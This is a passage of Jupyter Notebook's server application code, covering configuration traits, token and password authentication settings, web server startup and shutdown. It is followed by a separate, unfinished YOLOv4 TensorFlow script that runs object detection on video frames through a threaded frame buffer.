'jupyter-notebook' version = __version__ description = _("""The Jupyter HTML Notebook. This launches a Tornado based HTML Notebook Server that serves up an HTML5/Javascript Notebook client.""") examples = _examples aliases = aliases flags = flags classes = [ KernelManager, Session, MappingKernelManager, ContentsManager, FileContentsManager, NotebookNotary, KernelSpecManager, ] flags = Dict(flags) aliases = Dict(aliases) subcommands = dict( list=(NbserverListApp, NbserverListApp.description.splitlines()[0]), stop=(NbserverStopApp, NbserverStopApp.description.splitlines()[0]), password=(NotebookPasswordApp, NotebookPasswordApp.description.splitlines()[0]), ) _log_formatter_cls = LogFormatter @default('log_level') def _default_log_level(self): return logging.INFO @default('log_datefmt') def _default_log_datefmt(self): """Exclude date from default date format""" return "%H:%M:%S" @default('log_format') def _default_log_format(self): """override default log format to include time""" return u"%(color)s[%(levelname)1.1s %(asctime)s.%(msecs).03d %(name)s]%(end_color)s %(message)s" ignore_minified_js = Bool(False, config=True, help=_('Deprecated: Use minified JS file or not, mainly use during dev to avoid JS recompilation'), ) # file to be opened in the notebook server file_to_run = Unicode('', config=True) # Network related information allow_origin = Unicode('', config=True, help="""Set the Access-Control-Allow-Origin header Use '*' to allow any origin to access your server. Takes precedence over allow_origin_pat. """ ) allow_origin_pat = Unicode('', config=True, help="""Use a regular expression for the Access-Control-Allow-Origin header Requests from an origin matching the expression will get replies with: Access-Control-Allow-Origin: origin where `origin` is the origin of the request. Ignored if allow_origin is set. """ ) allow_credentials = Bool(False, config=True, help=_("Set the Access-Control-Allow-Credentials: true header") ) allow_root = Bool(False, config=True, help=_("Whether to allow the user to run the notebook as root.") ) default_url = Unicode('/tree', config=True, help=_("The default URL to redirect to from `/`") ) ip = Unicode('localhost', config=True, help=_("The IP address the notebook server will listen on.") ) @default('ip') def _default_ip(self): """Return localhost if available, 127.0.0.1 otherwise. On some (horribly broken) systems, localhost cannot be bound. """ s = socket.socket() try: s.bind(('localhost', 0)) except socket.error as e: self.log.warning(_("Cannot bind to localhost, using 127.0.0.1 as default ip\n%s"), e) return '127.0.0.1' else: s.close() return 'localhost' @validate('ip') def _valdate_ip(self, proposal): value = proposal['value'] if value == u'*': value = u'' return value port = Integer(8888, config=True, help=_("The port the notebook server will listen on.") ) port_retries = Integer(50, config=True, help=_("The number of additional ports to try if the specified port is not available.") ) certfile = Unicode(u'', config=True, help=_("""The full path to an SSL/TLS certificate file.""") ) keyfile = Unicode(u'', config=True, help=_("""The full path to a private key file for usage with SSL/TLS.""") ) client_ca = Unicode(u'', config=True, help=_("""The full path to a certificate authority certificate for SSL/TLS client authentication.""") ) cookie_secret_file = Unicode(config=True, help=_("""The file where the cookie secret is stored.""") ) @default('cookie_secret_file') def _default_cookie_secret_file(self): return os.path.join(self.runtime_dir, 'notebook_cookie_secret') cookie_secret = Bytes(b'', config=True, help="""The random bytes used to secure cookies. By default this is a new random number every time you start the Notebook. Set it to a value in a config file to enable logins to persist across server sessions. Note: Cookie secrets should be kept private, do not share config files with cookie_secret stored in plaintext (you can read the value from a file). """ ) @default('cookie_secret') def _default_cookie_secret(self): if os.path.exists(self.cookie_secret_file): with io.open(self.cookie_secret_file, 'rb') as f: key = f.read() else: key = encodebytes(os.urandom(1024)) self._write_cookie_secret_file(key) h = hmac.HMAC(key) h.digest_size = len(key) h.update(self.password.encode()) return h.digest() def _write_cookie_secret_file(self, secret): """write my secret to my secret_file""" self.log.info(_("Writing notebook server cookie secret to %s"), self.cookie_secret_file) with io.open(self.cookie_secret_file, 'wb') as f: f.write(secret) try: os.chmod(self.cookie_secret_file, 0o600) except OSError: self.log.warning( _("Could not set permissions on %s"), self.cookie_secret_file ) token = Unicode('<generated>', help=_("""Token used for authenticating first-time connections to the server. When no password is enabled, the default is to generate a new, random token. Setting to an empty string disables authentication altogether, which is NOT RECOMMENDED. """) ).tag(config=True) one_time_token = Unicode( help=_("""One-time token used for opening a browser. Once used, this token cannot be used again. """) ) _token_generated = True @default('token') def _token_default(self): if os.getenv('JUPYTER_TOKEN'): self._token_generated = False return os.getenv('JUPYTER_TOKEN') if self.password: # no token if password is enabled self._token_generated = False return u'' else: self._token_generated = True return binascii.hexlify(os.urandom(24)).decode('ascii') @observe('token') def _token_changed(self, change): self._token_generated = False password = Unicode(u'', config=True, help="""Hashed password to use for web authentication. To generate, type in a python/IPython shell: from notebook.auth import passwd; passwd() The string should be of the form type:salt:hashed-password. """ ) password_required = Bool(False, config=True, help="""Forces users to use a password for the Notebook server. This is useful in a multi user environment, for instance when everybody in the LAN can access each other's machine through ssh. In such a case, server the notebook server on localhost is not secure since any user can connect to the notebook server via ssh. """ ) allow_password_change = Bool(True, config=True, help="""Allow password to be changed at login for the notebook server. While loggin in with a token, the notebook server UI will give the opportunity to the user to enter a new password at the same time that will replace the token login mechanism. This can be set to false to prevent changing password from the UI/API. """ ) disable_check_xsrf = Bool(False, config=True, help="""Disable cross-site-request-forgery protection Jupyter notebook 4.3.1 introduces protection from cross-site request forgeries, requiring API requests to either: - originate from pages served by this server (validated with XSRF cookie and token), or - authenticate with a token Some anonymous compute resources still desire the ability to run code, completely without authentication. These services can disable all authentication and security checks, with the full knowledge of what that implies. """ ) open_browser = Bool(True, config=True, help="""Whether to open in a browser after starting. The specific browser used is platform dependent and determined by the python standard library `webbrowser` module, unless it is overridden using the --browser (NotebookApp.browser) configuration option. """) browser = Unicode(u'', config=True, help="""Specify what command to use to invoke a web browser when opening the notebook. If not specified, the default browser will be determined by the `webbrowser` standard library module, which allows setting of the BROWSER environment variable to override it. """) webbrowser_open_new = Integer(2, config=True, help=_("""Specify Where to open the notebook on startup. This is the `new` argument passed to the standard library method `webbrowser.open`. The behaviour is not guaranteed, but depends on browser support. Valid values are: 2 opens a new tab, 1 opens a new window, 0 opens in an existing window. See the `webbrowser.open` documentation for details. """)) webapp_settings = Dict(config=True, help=_("DEPRECATED, use tornado_settings") ) @observe('webapp_settings') def _update_webapp_settings(self, change): self.log.warning(_("\n webapp_settings is deprecated, use tornado_settings.\n")) self.tornado_settings = change['new'] tornado_settings = Dict(config=True, help=_("Supply overrides for the tornado.web.Application that the " "Jupyter notebook uses.")) websocket_compression_options = Any(None, config=True, help=_(""" Set the tornado compression options for websocket connections. This value will be returned from :meth:`WebSocketHandler.get_compression_options`. None (default) will disable compression. A dict (even an empty one) will enable compression. See the tornado docs for WebSocketHandler.get_compression_options for details. """) ) terminado_settings = Dict(config=True, help=_('Supply overrides for terminado. Currently only supports "shell_command".')) cookie_options = Dict(config=True, help=_("Extra keyword arguments to pass to `set_secure_cookie`." " See tornado's set_secure_cookie docs for details.") ) ssl_options = Dict(config=True, help=_("""Supply SSL options for the tornado HTTPServer. See the tornado docs for details.""")) jinja_environment_options = Dict(config=True, help=_("Supply extra arguments that will be passed to Jinja environment.")) jinja_template_vars = Dict( config=True, help=_("Extra variables to supply to jinja templates when rendering."), ) enable_mathjax = Bool(True, config=True, help="""Whether to enable MathJax for typesetting math/TeX MathJax is the javascript library Jupyter uses to render math/LaTeX. It is very large, so you may want to disable it if you have a slow internet connection, or for offline use of the notebook. When disabled, equations etc. will appear as their untransformed TeX source. """ ) @observe('enable_mathjax') def _update_enable_mathjax(self, change): """set mathjax url to empty if mathjax is disabled""" if not change['new']: self.mathjax_url = u'' base_url = Unicode('/', config=True, help='''The base URL for the notebook server. Leading and trailing slashes can be omitted, and will automatically be added. ''') @validate('base_url') def _update_base_url(self, proposal): value = proposal['value'] if not value.startswith('/'): value = '/' + value if not value.endswith('/'): value = value + '/' return value base_project_url = Unicode('/', config=True, help=_("""DEPRECATED use base_url""")) @observe('base_project_url') def _update_base_project_url(self, change): self.log.warning(_("base_project_url is deprecated, use base_url")) self.base_url = change['new'] extra_static_paths = List(Unicode(), config=True, help="""Extra paths to search for serving static files. This allows adding javascript/css to be available from the notebook server machine, or overriding individual files in the IPython""" ) @property def static_file_path(self): """return extra paths + the default location""" return self.extra_static_paths + [DEFAULT_STATIC_FILES_PATH] static_custom_path = List(Unicode(), help=_("""Path to search for custom.js, css""") ) @default('static_custom_path') def _default_static_custom_path(self): return [ os.path.join(d, 'custom') for d in ( self.config_dir, DEFAULT_STATIC_FILES_PATH) ] extra_template_paths = List(Unicode(), config=True, help=_("""Extra paths to search for serving jinja templates. Can be used to override templates from notebook.templates.""") ) @property def template_file_path(self): """return extra paths + the default locations""" return self.extra_template_paths + DEFAULT_TEMPLATE_PATH_LIST extra_nbextensions_path = List(Unicode(), config=True, help=_("""extra paths to look for Javascript notebook extensions""") ) extra_services = List(Unicode(), config=True, help=_("""handlers that should be loaded at higher priority than the default services""") ) @property def nbextensions_path(self): """The path to look for Javascript notebook extensions""" path = self.extra_nbextensions_path + jupyter_path('nbextensions') # FIXME: remove IPython nbextensions path after a migration period try: from IPython.paths import get_ipython_dir except ImportError: pass else: path.append(os.path.join(get_ipython_dir(), 'nbextensions')) return path websocket_url = Unicode("", config=True, help="""The base URL for websockets, if it differs from the HTTP server (hint: it almost certainly doesn't). Should be in the form of an HTTP origin: ws[s]://hostname[:port] """ ) mathjax_url = Unicode("", config=True, help="""A custom url for MathJax.js. Should be in the form of a case-sensitive url to MathJax, for example: /static/components/MathJax/MathJax.js """ ) @default('mathjax_url') def _default_mathjax_url(self): if not self.enable_mathjax: return u'' static_url_prefix = self.tornado_settings.get("static_url_prefix", "static") return url_path_join(static_url_prefix, 'components', 'MathJax', 'MathJax.js') @observe('mathjax_url') def _update_mathjax_url(self, change): new = change['new'] if new and not self.enable_mathjax: # enable_mathjax=False overrides mathjax_url self.mathjax_url = u'' else: self.log.info(_("Using MathJax: %s"), new) mathjax_config = Unicode("TeX-AMS-MML_HTMLorMML-full,Safe", config=True, help=_("""The MathJax.js configuration file that is to be used.""") ) @observe('mathjax_config') def _update_mathjax_config(self, change): self.log.info(_("Using MathJax configuration file: %s"), change['new']) contents_manager_class = Type( default_value=LargeFileManager, klass=ContentsManager, config=True, help=_('The notebook manager class to use.') ) kernel_manager_class = Type( default_value=MappingKernelManager, config=True, help=_('The kernel manager class to use.') ) session_manager_class = Type( default_value=SessionManager, config=True, help=_('The session manager class to use.') ) config_manager_class = Type( default_value=ConfigManager, config = True, help=_('The config manager class to use') ) kernel_spec_manager = Instance(KernelSpecManager, allow_none=True) kernel_spec_manager_class = Type( default_value=KernelSpecManager, config=True, help=""" The kernel spec manager class to use. Should be a subclass of `jupyter_client.kernelspec.KernelSpecManager`. The Api of KernelSpecManager is provisional and might change without warning between this version of Jupyter and the next stable one. """ ) login_handler_class = Type( default_value=LoginHandler, klass=web.RequestHandler, config=True, help=_('The login handler class to use.'), ) logout_handler_class = Type( default_value=LogoutHandler, klass=web.RequestHandler, config=True, help=_('The logout handler class to use.'), ) trust_xheaders = Bool(False, config=True, help=(_("Whether to trust or not X-Scheme/X-Forwarded-Proto and X-Real-Ip/X-Forwarded-For headers" "sent by the upstream reverse proxy. Necessary if the proxy handles SSL")) ) info_file = Unicode() @default('info_file') def _default_info_file(self): info_file = "nbserver-%s.json" % os.getpid() return os.path.join(self.runtime_dir, info_file) pylab = Unicode('disabled', config=True, help=_(""" DISABLED: use %pylab or %matplotlib in the notebook to enable matplotlib. """) ) @observe('pylab') def _update_pylab(self, change): """when --pylab is specified, display a warning and exit""" if change['new'] != 'warn': backend = ' %s' % change['new'] else: backend = '' self.log.error(_("Support for specifying --pylab on the command line has been removed.")) self.log.error( _("Please use `%pylab{0}` or `%matplotlib{0}` in the notebook itself.").format(backend) ) self.exit(1) notebook_dir = Unicode(config=True, help=_("The directory to use for notebooks and kernels.") ) @default('notebook_dir') def _default_notebook_dir(self): if self.file_to_run: return os.path.dirname(os.path.abspath(self.file_to_run)) else: return py3compat.getcwd() @validate('notebook_dir') def _notebook_dir_validate(self, proposal): value = proposal['value'] # Strip any trailing slashes # *except* if it's root _, path = os.path.splitdrive(value) if path == os.sep: return value value = value.rstrip(os.sep) if not os.path.isabs(value): # If we receive a non-absolute path, make it absolute. value = os.path.abspath(value) if not os.path.isdir(value): raise TraitError(trans.gettext("No such notebook dir: '%r'") % value) return value @observe('notebook_dir') def _update_notebook_dir(self, change): """Do a bit of validation of the notebook dir.""" # setting App.notebook_dir implies setting notebook and kernel dirs as well new = change['new'] self.config.FileContentsManager.root_dir = new self.config.MappingKernelManager.root_dir = new # TODO: Remove me in notebook 5.0 server_extensions = List(Unicode(), config=True, help=(_("DEPRECATED use the nbserver_extensions dict instead")) ) @observe('server_extensions') def _update_server_extensions(self, change): self.log.warning(_("server_extensions is deprecated, use nbserver_extensions")) self.server_extensions = change['new'] nbserver_extensions = Dict({}, config=True, help=(_("Dict of Python modules to load as notebook server extensions." "Entry values can be used to enable and disable the loading of" "the extensions. The extensions will be loaded in alphabetical " "order.")) ) reraise_server_extension_failures = Bool( False, config=True, help=_("Reraise exceptions encountered loading server extensions?"), ) iopub_msg_rate_limit = Float(1000, config=True, help=_("""(msgs/sec) Maximum rate at which messages can be sent on iopub before they are limited.""")) iopub_data_rate_limit = Float(1000000, config=True, help=_("""(bytes/sec) Maximum rate at which stream output can be sent on iopub before they are limited.""")) rate_limit_window = Float(3, config=True, help=_("""(sec) Time window used to check the message and data rate limits.""")) shutdown_no_activity_timeout = Integer(0, config=True, help=("Shut down the server after N seconds with no kernels or " "terminals running and no activity. " "This can be used together with culling idle kernels " "(MappingKernelManager.cull_idle_timeout) to " "shutdown the notebook server when it's not in use. This is not " "precisely timed: it may shut down up to a minute later. " "0 (the default) disables this automatic shutdown.") ) def parse_command_line(self, argv=None): super(NotebookApp, self).parse_command_line(argv) if self.extra_args: arg0 = self.extra_args[0] f = os.path.abspath(arg0) self.argv.remove(arg0) if not os.path.exists(f): self.log.critical(_("No such file or directory: %s"), f) self.exit(1) # Use config here, to ensure that it takes higher priority than # anything that comes from the config dirs. c = Config() if os.path.isdir(f): c.NotebookApp.notebook_dir = f elif os.path.isfile(f): c.NotebookApp.file_to_run = f self.update_config(c) def init_configurables(self): self.kernel_spec_manager = self.kernel_spec_manager_class( parent=self, ) self.kernel_manager = self.kernel_manager_class( parent=self, log=self.log, connection_dir=self.runtime_dir, kernel_spec_manager=self.kernel_spec_manager, ) self.contents_manager = self.contents_manager_class( parent=self, log=self.log, ) self.session_manager = self.session_manager_class( parent=self, log=self.log, kernel_manager=self.kernel_manager, contents_manager=self.contents_manager, ) self.config_manager = self.config_manager_class( parent=self, log=self.log, ) def init_logging(self): # This prevents double log messages because tornado use a root logger that # self.log is a child of. The logging module dipatches log messages to a log # and all of its ancenstors until propagate is set to False. self.log.propagate = False for log in app_log, access_log, gen_log: # consistent log output name (NotebookApp instead of tornado.access, etc.) log.name = self.log.name # hook up tornado 3's loggers to our app handlers logger = logging.getLogger('tornado') logger.propagate = True logger.parent = self.log logger.setLevel(self.log.level) def init_webapp(self): """initialize tornado webapp and httpserver""" self.tornado_settings['allow_origin'] = self.allow_origin self.tornado_settings['websocket_compression_options'] = self.websocket_compression_options if self.allow_origin_pat: self.tornado_settings['allow_origin_pat'] = re.compile(self.allow_origin_pat) self.tornado_settings['allow_credentials'] = self.allow_credentials self.tornado_settings['cookie_options'] = self.cookie_options self.tornado_settings['token'] = self.token if (self.open_browser or self.file_to_run) and not self.password: self.one_time_token = binascii.hexlify(os.urandom(24)).decode('ascii') self.tornado_settings['one_time_token'] = self.one_time_token # ensure default_url starts with base_url if not self.default_url.startswith(self.base_url): self.default_url = url_path_join(self.base_url, self.default_url) if self.password_required and (not self.password): self.log.critical(_("Notebook servers are configured to only be run with a password.")) self.log.critical(_("Hint: run the following command to set a password")) self.log.critical(_("\t$ python -m notebook.auth password")) sys.exit(1) self.web_app = NotebookWebApplication( self, self.kernel_manager, self.contents_manager, self.session_manager, self.kernel_spec_manager, self.config_manager, self.extra_services, self.log, self.base_url, self.default_url, self.tornado_settings, self.jinja_environment_options ) ssl_options = self.ssl_options if self.certfile: ssl_options['certfile'] = self.certfile if self.keyfile: ssl_options['keyfile'] = self.keyfile if self.client_ca: ssl_options['ca_certs'] = self.client_ca if not ssl_options: # None indicates no SSL config ssl_options = None else: # SSL may be missing, so only import it if it's to be used import ssl # Disable SSLv3 by default, since its use is discouraged. ssl_options.setdefault('ssl_version', ssl.PROTOCOL_TLSv1) if ssl_options.get('ca_certs', False): ssl_options.setdefault('cert_reqs', ssl.CERT_REQUIRED) self.login_handler_class.validate_security(self, ssl_options=ssl_options) self.http_server = httpserver.HTTPServer(self.web_app, ssl_options=ssl_options, xheaders=self.trust_xheaders) success = None for port in random_ports(self.port, self.port_retries+1): try: self.http_server.listen(port, self.ip) except socket.error as e: if e.errno == errno.EADDRINUSE: self.log.info(_('The port %i is already in use, trying another port.') % port) continue elif e.errno in (errno.EACCES, getattr(errno, 'WSAEACCES', errno.EACCES)): self.log.warning(_("Permission to listen on port %i denied") % port) continue else: raise else: self.port = port success = True break if not success: self.log.critical(_('ERROR: the notebook server could not be started because ' 'no available port could be found.')) self.exit(1) @property def display_url(self): ip = self.ip if self.ip else _('[all ip addresses on your system]') url = self._url(ip) if self.token: # Don't log full token if it came from config token = self.token if self._token_generated else '...' url = url_concat(url, {'token': token}) return url @property def connection_url(self): ip = self.ip if self.ip else 'localhost' return self._url(ip) def _url(self, ip): proto = 'https' if self.certfile else 'http' return "%s://%s:%i%s" % (proto, ip, self.port, self.base_url) def init_terminals(self): try: from .terminal import initialize initialize(self.web_app, self.notebook_dir, self.connection_url, self.terminado_settings) self.web_app.settings['terminals_available'] = True except ImportError as e: self.log.warning(_("Terminals not available (error was %s)"), e) def init_signal(self): if not sys.platform.startswith('win') and sys.stdin and sys.stdin.isatty(): signal.signal(signal.SIGINT, self._handle_sigint) signal.signal(signal.SIGTERM, self._signal_stop) if hasattr(signal, 'SIGUSR1'): # Windows doesn't support SIGUSR1 signal.signal(signal.SIGUSR1, self._signal_info) if hasattr(signal, 'SIGINFO'): # only on BSD-based systems signal.signal(signal.SIGINFO, self._signal_info) def _handle_sigint(self, sig, frame): """SIGINT handler spawns confirmation dialog""" # register more forceful signal handler for ^C^C case signal.signal(signal.SIGINT, self._signal_stop) # request confirmation dialog in bg thread, to avoid # blocking the App thread = threading.Thread(target=self._confirm_exit) thread.daemon = True thread.start() def _restore_sigint_handler(self): """callback for restoring original SIGINT handler""" signal.signal(signal.SIGINT, self._handle_sigint) def _confirm_exit(self): """confirm shutdown on ^C A second ^C, or answering 'y' within 5s will cause shutdown, otherwise original SIGINT handler will be restored. This doesn't work on Windows. """ info = self.log.info info(_('interrupted')) print(self.notebook_info()) yes = _('y') no = _('n') sys.stdout.write(_("Shutdown this notebook server (%s/[%s])? ") % (yes, no)) sys.stdout.flush() r,w,x = select.select([sys.stdin], [], [], 5) if r: line = sys.stdin.readline() if line.lower().startswith(yes) and no not in line.lower(): self.log.critical(_("Shutdown confirmed")) # schedule stop on the main thread, # since this might be called from a signal handler self.io_loop.add_callback_from_signal(self.io_loop.stop) return else: print(_("No answer for 5s:"), end=' ') print(_("resuming operation...")) # no answer, or answer is no: # set it back to original SIGINT handler # use IOLoop.add_callback because signal.signal must be called # from main thread self.io_loop.add_callback_from_signal(self._restore_sigint_handler) def _signal_stop(self, sig, frame): self.log.critical(_("received signal %s, stopping"), sig) self.io_loop.add_callback_from_signal(self.io_loop.stop) def _signal_info(self, sig, frame): print(self.notebook_info()) def init_components(self): """Check the components submodule, and warn if it's unclean""" # TODO: this should still check, but now we use bower, not git submodule pass def init_server_extensions(self): """Load any extensions specified by config. Import the module, then call the load_jupyter_server_extension function, if one exists. The extension API is experimental, and may change in future releases. """ # TODO: Remove me in notebook 5.0 for modulename in self.server_extensions: # Don't override disable state of the extension if it already exist # in the new traitlet if not modulename in self.nbserver_extensions: self.nbserver_extensions[modulename] = True # Load server extensions with ConfigManager. # This enables merging on keys, which we want for extension enabling. # Regular config loading only merges at the class level, # so each level (user > env > system) clobbers the previous. config_path = jupyter_config_path() if self.config_dir not in config_path: # add self.config_dir to the front, if set manually config_path.insert(0, self.config_dir) manager = ConfigManager(read_config_path=config_path) section = manager.get(self.config_file_name) extensions = section.get('NotebookApp', {}).get('nbserver_extensions', {}) for modulename, enabled in self.nbserver_extensions.items(): if modulename not in extensions: # not present in `extensions` means it comes from Python config, # so we need to add it. # Otherwise, trust ConfigManager to have loaded it. extensions[modulename] = enabled for modulename, enabled in sorted(extensions.items()): if enabled: try: mod = importlib.import_module(modulename) func = getattr(mod, 'load_jupyter_server_extension', None) if func is not None: func(self) except Exception: if self.reraise_server_extension_failures: raise self.log.warning(_("Error loading server extension %s"), modulename, exc_info=True) def init_mime_overrides(self): # On some Windows machines, an application has registered an incorrect # mimetype for CSS in the registry. Tornado uses this when serving # .css files, causing browsers to reject the stylesheet. We know the # mimetype always needs to be text/css, so we override it here. mimetypes.add_type('text/css', '.css') def shutdown_no_activity(self): """Shutdown server on timeout when there are no kernels or terminals.""" km = self.kernel_manager if len(km) != 0: return # Kernels still running try: term_mgr = self.web_app.settings['terminal_manager'] except KeyError: pass # Terminals not enabled else: if term_mgr.terminals: return # Terminals still running seconds_since_active = \ (utcnow() - self.web_app.last_activity()).total_seconds() self.log.debug("No activity for %d seconds.", seconds_since_active) if seconds_since_active > self.shutdown_no_activity_timeout: self.log.info("No kernels or terminals for %d seconds; shutting down.", seconds_since_active) self.stop() def init_shutdown_no_activity(self): if self.shutdown_no_activity_timeout > 0: self.log.info("Will shut down after %d seconds with no kernels or terminals.", self.shutdown_no_activity_timeout) pc = ioloop.PeriodicCallback(self.shutdown_no_activity, 60000) pc.start() @catch_config_error def initialize(self, argv=None): super(NotebookApp, self).initialize(argv) self.init_logging() if self._dispatching: return self.init_configurables() self.init_components() self.init_webapp() self.init_terminals() self.init_signal() self.init_server_extensions() self.init_mime_overrides() self.init_shutdown_no_activity() def cleanup_kernels(self): """Shutdown all kernels. The kernels will shutdown themselves when this process no longer exists, but explicit shutdown allows the KernelManagers to cleanup the connection files. """ n_kernels = len(self.kernel_manager.list_kernel_ids()) kernel_msg = trans.ngettext('Shutting down %d kernel', 'Shutting down %d kernels', n_kernels) self.log.info(kernel_msg % n_kernels) self.kernel_manager.shutdown_all() def notebook_info(self): "Return the current working directory and the server url information" info = self.contents_manager.info_string() + "\n" n_kernels = len(self.kernel_manager.list_kernel_ids()) kernel_msg = trans.ngettext("%d active kernel", "%d active kernels", n_kernels) info += kernel_msg % n_kernels info += "\n" # Format the info so that the URL fits on a single line in 80 char display info += _("The Jupyter Notebook is running at:\n%s") % self.display_url return info def server_info(self): """Return a JSONable dict of information about this server.""" return {'url': self.connection_url, 'hostname': self.ip if self.ip else 'localhost', 'port': self.port, 'secure': bool(self.certfile), 'base_url': self.base_url, 'token': self.token, 'notebook_dir': os.path.abspath(self.notebook_dir), 'password': bool(self.password), 'pid': os.getpid(), } def write_server_info_file(self): """Write the result of server_info() to the JSON file info_file.""" with open(self.info_file, 'w') as f: json.dump(self.server_info(), f, indent=2, sort_keys=True) def remove_server_info_file(self): """Remove the nbserver-<pid>.json file created for this server. Ignores the error raised when the file has already been removed. """ try: os.unlink(self.info_file) except OSError as e: if e.errno != errno.ENOENT: raise def start(self): """ Start the Notebook server app, after initialization This method takes no arguments so all configuration and initialization must be done prior to calling this method.""" super(NotebookApp, self).start() if not self.allow_root: # check if we are running as root, and abort if it's not allowed try: uid = os.geteuid() except AttributeError: uid = -1 # anything nonzero here, since we can't check UID assume non-root if uid == 0: self.log.critical(_("Running as root is not recommended. Use --allow-root to bypass.")) self.exit(1) info = self.log.info for line in self.notebook_info().split("\n"): info(line) info(_("Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).")) if 'dev' in notebook.__version__: info(_("Welcome to Project Jupyter! Explore the various tools available" " and their corresponding documentation. If you are interested" " in contributing to the platform, please visit the community" "resources section at https://jupyter.org/community.html.")) self.write_server_info_file() if self.open_browser or self.file_to_run: try: browser = webbrowser.get(self.browser or None) except webbrowser.Error as e: self.log.warning(_('No web browser found: %s.') % e) browser = None if self.file_to_run: if not os.path.exists(self.file_to_run): self.log.critical(_("%s does not exist") % self.file_to_run) self.exit(1) relpath = os.path.relpath(self.file_to_run, self.notebook_dir) uri = url_escape(url_path_join('notebooks', *relpath.split(os.sep))) else: # default_url contains base_url, but so does connection_url uri = self.default_url[len(self.base_url):] if self.one_time_token: uri = url_concat(uri, {'token': self.one_time_token}) if browser: b = lambda : browser.open(url_path_join(self.connection_url, uri), new=self.webbrowser_open_new) threading.Thread(target=b).start() if self.token and self._token_generated: # log full URL with generated token, so there's a copy/pasteable link # with auth info. self.log.critical('\n'.join([ '\n', 'Copy/paste this URL into your browser when you connect for the first time,', 'to login with a token:', ' %s' % url_concat(self.connection_url, {'token': self.token}), ])) self.io_loop = ioloop.IOLoop.current() if sys.platform.startswith('win'): # add no-op to wake every 5s # to handle signals that may be ignored by the inner loop pc = ioloop.PeriodicCallback(lambda : None, 5000) pc.start() try: self.io_loop.start() except KeyboardInterrupt: info(_("Interrupted...")) finally: self.remove_server_info_file() self.cleanup_kernels() def stop(self): def _stop(): self.http_server.stop() self.io_loop.stop() self.io_loop.add_callback(_stop) def list_running_servers(runtime_dir=None): """Iterate over the server info files of running notebook servers. Given a runtime directory, find nbserver-* files in the security directory, and yield dicts of their information, each one pertaining to a currently running notebook server instance. """ if runtime_dir is None: runtime_dir = jupyter_runtime_dir() # The runtime dir might not exist if not os.path.isdir(runtime_dir): return for file_name in os.listdir(runtime_dir): if file_name.startswith('nbserver-'): with io.open(os.path.join(runtime_dir, file_name), encoding='utf-8') as f: info = json.load(f) # Simple check whether that process is really still running # Also remove leftover files from IPython 2.x without a pid field if ('pid' in info) and check_pid(info['pid']): yield info else: # If the process has died, try to delete its info file try: os.unlink(os.path.join(runtime_dir, file_name)) except OSError: pass # TODO: This should warn or log or something #----------------------------------------------------------------------------- # Main entry point #----------------------------------------------------------------------------- main = launch_new_instance = NotebookApp.launch_instance
buffer_vid.py
# -*- coding: utf-8 -*- """ Created on Thu Jun 18 15:09:09 2020 @author: Nikki extremely slow attempted buffer as implemented here: https://www.pyimagesearch.com/2017/02/06/faster-video-file-fps-with-cv2-videocapture-and-opencv/ """ import numpy as np import tensorflow as tf import time import cv2 from core.yolov4 import YOLOv4, decode #, YOLOv3_tiny, YOLOv3 #from absl import app, flags, logging #from absl.flags import FLAGS #from tensorflow.python.saved_model import tag_constants from core import utils from core.config import cfg from PIL import Image import datetime #from tensorflow import keras #from tensorflow.compat.v1 import ConfigProto #from tensorflow.compat.v1 import InteractiveSession import sys from threading import Thread from queue import Queue #uncomment to verify that GPU is being used tf.debugging.set_log_device_placement(True) #@tf.function def main(): tf.executing_eagerly() strategy = tf.distribute.OneDeviceStrategy(device="/gpu:0") with strategy.scope(): # if True: STRIDES = np.array(cfg.YOLO.STRIDES) ANCHORS = utils.get_anchors(cfg.YOLO.ANCHORS) NUM_CLASS = len(utils.read_class_names(cfg.YOLO.CLASSES)) XYSCALE = cfg.YOLO.XYSCALE WEIGHTS = './data/yolov4.weights' #must end in .weights video_path = './data/road.mp4' video_path = './data/AOTsample3.mp4' #video_path = './data/vtest.avi' #video_path = './data/20190422_153844_DA4A.mkv' print("Video from: ", video_path ) #vid = cv2.VideoCapture(video_path) print('thread started') INPUT_SIZE = 419 #608 #230 #open file to output to output_f = video_path[:-3] + 'txt' f = open(output_f, 'w') print('file started') #generate model input_layer = tf.keras.Input([INPUT_SIZE, INPUT_SIZE, 3]) print('tensors started 1') feature_maps = YOLOv4(input_layer, NUM_CLASS) print('tensors started 2') bbox_tensors = [] print('tensors started 3') for i, fm in enumerate(feature_maps): bbox_tensor = decode(fm, NUM_CLASS, i) bbox_tensors.append(bbox_tensor) print('tensors started 4') model = tf.keras.Model(input_layer, bbox_tensors) print('model built') #force to run eagerly model.run_eagerly = True if model.run_eagerly: print ('yeeyee') else: print ('hawhaw') utils.load_weights(model, WEIGHTS) with tf.device('/GPU:0'): buf = Queue(maxsize=8) # buf = VidThread(video_path) # buf.start() vid = cv2.VideoCapture(video_path) coord = tf.train.Coordinator() t = Thread(target=MyLoop, args=(video_path, buf,vid, coord)) t.daemon = True #coord.register_thread(t) t.start() time.sleep(1.0) try: while not buf.empty(): frame = buf.get() frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) image = Image.fromarray(frame) dt = str(datetime.datetime.now()) frame_size = frame.shape[:2] #resize image and add another dimension cur_frame = np.copy(frame) image_data = utils.image_preprocess(cur_frame, [INPUT_SIZE, INPUT_SIZE]) image_data = image_data[np.newaxis, ...].astype(np.float32) prev_time = time.time() with tf.device('/GPU:0'): image_data = tf.convert_to_tensor(image_data) print(image_data.device) curr_time = time.time() exec_time = curr_time - prev_time info = "time1: %.2f ms" %(1000*exec_time) print(info) prev_time = time.time() #make bboxes pred_bbox = model.predict(image_data) pred_bbox = utils.postprocess_bbbox(pred_bbox, ANCHORS, STRIDES, XYSCALE) bboxes = utils.postprocess_boxes(pred_bbox, frame_size, INPUT_SIZE, 0.25) bboxes = utils.nms(bboxes, 0.213, method='nms') #output bbox info to file and show image #calculate and display time it took to process frame utils.video_write_info(frame, f, bboxes, dt) image = utils.draw_some_bbox(frame, bboxes) curr_time = time.time() exec_time = curr_time - prev_time info = "time2: %.2f ms" %(1000*exec_time) print(info) result = np.asarray(image) cv2.namedWindow("result", cv2.WINDOW_NORMAL) result = cv2.cvtColor(result, cv2.COLOR_RGB2BGR) #swapped image with result, not sure what the effect was cv2.imshow("result", result) if cv2.waitKey(1) & 0xFF == ord('q'): break #end video, close viewer, stop writing to file vid.release() cv2.destroyAllWindows() f.close() #if interrupted, end video, close viewer, stop writing to file except: print("Unexpected error:", sys.exc_info()[0]) vid.release() cv2.destroyAllWindows() f.close() def MyLoop(path, buff, vid, coord): while not coord.should_stop(): if not buff.full(): print('here') 